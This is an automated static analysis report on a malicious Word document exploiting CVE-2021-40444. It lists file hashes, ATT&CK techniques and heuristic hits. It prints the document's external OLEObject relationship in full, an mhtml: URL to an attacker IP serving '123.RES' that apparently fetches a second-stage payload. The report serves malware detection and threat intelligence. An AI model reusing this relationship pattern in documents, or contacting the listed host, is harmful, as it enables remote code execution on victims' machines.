Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 f17f5c8eac3a18c9…

MALICIOUS

Office (OOXML) / .DOC

9.9 KB Created: 2022-05-30 06:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-07
MD5: 7a91b01a037ccbfe6589161643d0a65a SHA-1: 53658a5b5bc577d601e23ae77a34cb44dcba1f27 SHA-256: f17f5c8eac3a18c961705a61385e1d2894cc8f22fb33aa3e076a40b826384c60
82 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1566.001 Spearphishing Attachment T1059.001 PowerShell

The critical heuristic firing for CVE_2021_40444 indicates the document attempts to exploit this vulnerability by loading an external OLEObject from the URL http://45.32.185.177:80/123.RES. This is further supported by the OOXML_EXTERNAL_REL heuristic. The document's purpose is to leverage this exploit to likely download and execute a second-stage payload.

Heuristics 3

  • External OLEObject gadget — CVE-2021-40444 critical CVE exact CVE_2021_40444
    External relationship to mhtml:http://45.32.185.177:80/123.RES!http://45.32.185.177:80/123.RES — exploitable external OLEObject gadget pattern for CVE-2021-40444
  • External relationship medium OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: mhtml:http://45.32.185.177:80/123.RES!http://45.32.185.177:80/123.RES
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.32.185.177:80/123.RES!http://45.32.185.177:80/123.RES
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
    • http://schemas.microsoft.com/office/drawing/2014/chartex
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartex
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartex
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/drawing/2016/ink
    • http://schemas.microsoft.com/office/drawing/2017/model3d
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/math
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
    • http://schemas.openxmlformats.org/wordprocessingml/2006/main
    • http://schemas.microsoft.com/office/word/2010/wordml
    • http://schemas.microsoft.com/office/word/2012/wordml
    • http://schemas.microsoft.com/office/word/2018/wordml/cex
    • http://schemas.microsoft.com/office/word/2016/wordml/cid
    • http://schemas.microsoft.com/office/word/2018/wordml
    • http://schemas.microsoft.com/office/word/2015/wordml/symex
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInk
    • http://schemas.microsoft.com/office/word/2006/wordml
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShape

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